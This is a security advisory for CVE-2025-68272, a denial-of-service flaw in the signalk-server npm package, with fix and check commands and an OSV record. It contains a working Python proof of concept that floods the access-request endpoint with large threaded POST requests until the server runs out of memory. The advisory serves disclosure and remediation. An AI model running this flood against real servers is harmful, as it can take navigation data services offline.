CVE-2025-68272: Signalk server Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-7rqc-ff8m-7j23
CVSS 7.5
CWE-400 CWE-770
Published
Advisory Summary

CVE-2025-68272 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Signalk server libraries in the npm ecosystem. The issue involves signal k server vulnerable to denial of service via unrestricted access request flooding. Remediation is available by upgrading affected packages to version 2.19.0.

CVE-2025-68272 at a Glance

CVE Identifier CVE-2025-68272
GHSA Identifier GHSA-7rqc-ff8m-7j23
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product Signalk server
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2025-68272

To remediate this vulnerability, upgrade all affected Signalk server dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

signalk-server fixed: 2.19.0
npm install signalk-server@2.19.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls signalk-server

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2025-68272, inspect your project dependencies using npm:

npm ls signalk-server

Analyze the terminal output to locate any version of Signalk server in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.19.0), your application is affected.

Note: The npm ls signalk-server command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Signalk server, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A Denial of Service (DoS) vulnerability allows an unauthenticated attacker to crash the SignalK Server by flooding the access request endpoint (`/signalk/v1/access/requests`). This causes a "JavaScript heap out of memory" error due to unbounded in-memory storage of request objects. ### Details The vulnerability is caused by a lack of rate limiting and improper memory management for incoming access requests. **Vulnerable Code Analysis:** 1. **In-Memory Storage**: In `src/requestResponse.js`, requests are stored in a simple JavaScript object: ```javascript const requests = {} ``` 2. **Unbounded Growth**: The `createRequest` function adds new requests to this object without checking the current size or count of existing requests. 3. **Infrequent Pruning**: The `pruneRequests` function, which removes old requests, runs only once every **15 minutes** (`pruneIntervalRate`). 4. **No Rate Limiting**: The endpoint `/signalk/v1/access/requests` accepts POST requests from any client without any rate limiting or authentication (by design, as it's for initial access requests). **Exploit Scenario:** 1. An attacker sends a large number of POST requests (e.g., 20,000+) or requests with large payloads to `/signalk/v1/access/requests`. 2. The server stores every request in the `requests` object in the Node.js heap. 3. The heap memory usage spikes rapidly. 4. The Node.js process hits its memory limit (default ~1.5GB) and crashes with `FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory`. ### PoC The following Python script reproduces the crash by flooding the server with requests containing 100KB payloads. ```python import urllib.request import json import threading import time # Target Configuration TARGET_URL = "http://localhost:3000/signalk/v1/access/requests" PAYLOAD_SIZE_MB = 0.1 # 100 KB per request NUM_REQUESTS = 20000 # Sufficient to exhaust heap CONCURRENCY = 50 # Generate a large string payload LARGE_STRING = "A" * (int(PAYLOAD_SIZE_MB * 1024 * 1024)) def send_heavy_request(i): try: payload = { "clientId": f"attacker-device-{i}", "description": LARGE_STRING, # Stored in memory! "permissions": "readwrite" } data = json.dumps(payload).encode('utf-8') req = urllib.request.Request( TARGET_URL, data=data, headers={'Content-Type': 'application/json'}, method='POST' ) # Short timeout as server might hang urllib.request.urlopen(req, timeout=5) except: pass def attack(): print(f"[*] Starting DoS Attack on {TARGET_URL}...") threads = [] for i in range(NUM_REQUESTS): t = threading.Thread(target=send_heavy_request, args=(i,)) threads.append(t) t.start() if len(threads) >= CONCURRENCY: for t in threads: t.join() threads = [] if __name__ == "__main__": attack() ``` **Expected Result:** Monitor the server process. Memory usage will increase rapidly, and the server will eventually terminate with an Out of Memory (OOM) error. ### Impact **Verified Denial of Service**: During our verification using the provided PoC, we observed the following: 1. **Rapid Memory Exhaustion**: The Node.js process memory usage increased by approximately **30MB within seconds** of starting the attack. 2. **Service Instability**: Continued execution of the PoC quickly leads to a `FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory` crash. 3. **Service Unavailability**: The server becomes completely unresponsive and terminates, requiring a manual restart to recover. This allows an unauthenticated attacker to easily take the vessel's navigation data server offline. --- ### Remediation **1. Implement Rate Limiting** Use a middleware like `express-rate-limit` to restrict the number of requests from a single IP address to `/signalk/v1/access/requests`. **2. Limit Request Storage** Modify `src/requestResponse.js` to enforce a maximum number of stored requests (e.g., 100). If the limit is reached, reject new requests or evict the oldest ones immediately. **3. Validate Payload Size** Enforce strict limits on the size of the `description` and other fields in the access request payload.

CVE-2025-68272 Affected Signalk server Versions

1 component(s)
Fixed Versions:
2.19.0
Product / Package Ecosystem Affected Versions Fixed Version
signalk-server
npm
< 2.19.0
2.19.0

References

Frequently Asked Questions

What is CVE-2025-68272?
CVE-2025-68272 is a security vulnerability in Signalk server involving Signal K Server Vulnerable to Denial of Service via Unrestricted Access Request Flooding under CWE-400: Uncontrolled Resource Consumption.
Which Signalk server versions are affected?
Affected versions include releases prior to 2.19.0 across affected packages: signalk-server.
What version fixes CVE-2025-68272?
Upgrading to 2.19.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is signalk-server affected?
Yes, signalk-server is affected in releases prior to 2.19.0. Upgrade your dependency to 2.19.0 or later.
What is the CVSS score of CVE-2025-68272?
CVE-2025-68272 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2025-68272?
CVE-2025-68272 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check npm dependencies for CVE-2025-68272?
Run the dependency tree command: 'npm ls signalk-server'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7rqc-ff8m-7j23",
  "modified" : "2026-01-02T15:20:05Z",
  "published" : "2026-01-02T15:20:05Z",
  "aliases" : [ "CVE-2025-68272" ],
  "summary" : "Signal K Server Vulnerable to Denial of Service via Unrestricted Access Request Flooding",
  "details" : "### Summary\nA Denial of Service (DoS) vulnerability allows an unauthenticated attacker to crash the SignalK Server by flooding the access request endpoint (`/signalk/v1/access/requests`). This causes a \"JavaScript heap out of memory\" error due to unbounded in-memory storage of request objects.\n\n### Details\nThe vulnerability is caused by a lack of rate limiting and improper memory management for incoming access requests.\n\n**Vulnerable Code Analysis:**\n1.  **In-Memory Storage**: In `src/requestResponse.js`, requests are stored in a simple JavaScript object:\n    ```javascript\n    const requests = {}\n    ```\n2.  **Unbounded Growth**: The `createRequest` function adds new requests to this object without checking the current size or count of existing requests.\n3.  **Infrequent Pruning**: The `pruneRequests` function, which removes old requests, runs only once every **15 minutes** (`pruneIntervalRate`).\n4.  **No Rate Limiting**: The endpoint `/signalk/v1/access/requests` accepts POST requests from any client without any rate limiting or authentication (by design, as it's for initial access requests).\n\n**Exploit Scenario:**\n1.  An attacker sends a large number of POST requests (e.g., 20,000+) or requests with large payloads to `/signalk/v1/access/requests`.\n2.  The server stores every request in the `requests` object in the Node.js heap.\n3.  The heap memory usage spikes rapidly.\n4.  The Node.js process hits its memory limit (default ~1.5GB) and crashes with `FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory`.\n\n### PoC\nThe following Python script reproduces the crash by flooding the server with requests containing 100KB payloads.\n\n```python\nimport urllib.request\nimport json\nimport threading\nimport time\n\n# Target Configuration\nTARGET_URL = \"http://localhost:3000/signalk/v1/access/requests\"\nPAYLOAD_SIZE_MB = 0.1  # 100 KB per request\nNUM_REQUESTS = 20000   # Sufficient to exhaust heap\nCONCURRENCY = 50\n\n# Generate a large string payload\nLARGE_STRING = \"A\" * (int(PAYLOAD_SIZE_MB * 1024 * 1024))\n\ndef send_heavy_request(i):\n    try:\n        payload = {\n            \"clientId\": f\"attacker-device-{i}\",\n            \"description\": LARGE_STRING, # Stored in memory!\n            \"permissions\": \"readwrite\"\n        }\n        data = json.dumps(payload).encode('utf-8')\n        \n        req = urllib.request.Request(\n            TARGET_URL, \n            data=data, \n            headers={'Content-Type': 'application/json'}, \n            method='POST'\n        )\n        # Short timeout as server might hang\n        urllib.request.urlopen(req, timeout=5)\n    except:\n        pass\n\ndef attack():\n    print(f\"[*] Starting DoS Attack on {TARGET_URL}...\")\n    threads = []\n    for i in range(NUM_REQUESTS):\n        t = threading.Thread(target=send_heavy_request, args=(i,))\n        threads.append(t)\n        t.start()\n        \n        if len(threads) >= CONCURRENCY:\n            for t in threads: t.join()\n            threads = []\n\nif __name__ == \"__main__\":\n    attack()\n```\n\n**Expected Result:**\nMonitor the server process. Memory usage will increase rapidly, and the server will eventually terminate with an Out of Memory (OOM) error.\n\n### Impact\n**Verified Denial of Service**:\nDuring our verification using the provided PoC, we observed the following:\n1.  **Rapid Memory Exhaustion**: The Node.js process memory usage increased by approximately **30MB within seconds** of starting the attack.\n2.  **Service Instability**: Continued execution of the PoC quickly leads to a `FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory` crash.\n3.  **Service Unavailability**: The server becomes completely unresponsive and terminates, requiring a manual restart to recover. This allows an unauthenticated attacker to easily take the vessel's navigation data server offline.\n\n---\n### Remediation\n**1. Implement Rate Limiting**\nUse a middleware like `express-rate-limit` to restrict the number of requests from a single IP address to `/signalk/v1/access/requests`.\n\n**2. Limit Request Storage**\nModify `src/requestResponse.js` to enforce a maximum number of stored requests (e.g., 100). If the limit is reached, reject new requests or evict the oldest ones immediately.\n\n**3. Validate Payload Size**\nEnforce strict limits on the size of the `description` and other fields in the access request payload.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "signalk-server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.19.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/SignalK/signalk-server/security/advisories/GHSA-7rqc-ff8m-7j23"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-68272"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/SignalK/signalk-server/commit/55e3574d8266fbc0ed8e453ad4557073541566f5"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/SignalK/signalk-server"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/SignalK/signalk-server/releases/tag/v2.19.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400", "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-02T15:20:05Z",
    "nvd_published_at" : "2026-01-01T18:15:40Z"
  }
}